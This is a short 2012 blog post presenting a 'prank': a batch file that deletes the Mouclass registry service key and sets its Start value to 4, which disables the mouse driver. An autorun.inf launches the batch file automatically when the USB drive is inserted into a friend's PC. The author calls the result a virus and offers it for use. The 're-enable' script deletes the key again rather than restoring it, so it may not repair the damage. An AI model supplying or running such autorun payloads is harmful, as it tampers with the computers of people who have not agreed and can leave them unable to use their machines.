Saturday, 21 January 2012

Disable your Friend’s Mouse By Just Inserting A USB In His/Her PC



Do you wanna Lock your friends mouse by just inserting a  small USB ?
Ok let me teach you how to do this prank, well my this creation is all about some windows coding.
But their is no need to learn about programming languages for that.


To use this trick first you have to create a Batch file in notepad by saving it with the .bat extension.


Copy/Paste the below code in notepad and save it as filename.bat, Here filename could be any name but the extension should be .bat.

set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4 



Now you have create a autorun.inf file to run the above batch file automatically by just inserting the USB. Here is the autorun fil. Copy paste is code in the in the new Notepad window. 


[autorun]
Open=filename.bat
Action=Mouse Disable 


Save this file as autorun.inf.



Now you have created a virus that will disable the mouse. Copy both of the file in your or your friend’s USB Drive and have fun...


To re-enable the mouse, simply create another batch file with following script:

set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1

Save this file as .bat extension and run this batch file by just double clicking on it.
Enjoy this prank and share it with your friends :D



No comments:

Post a Comment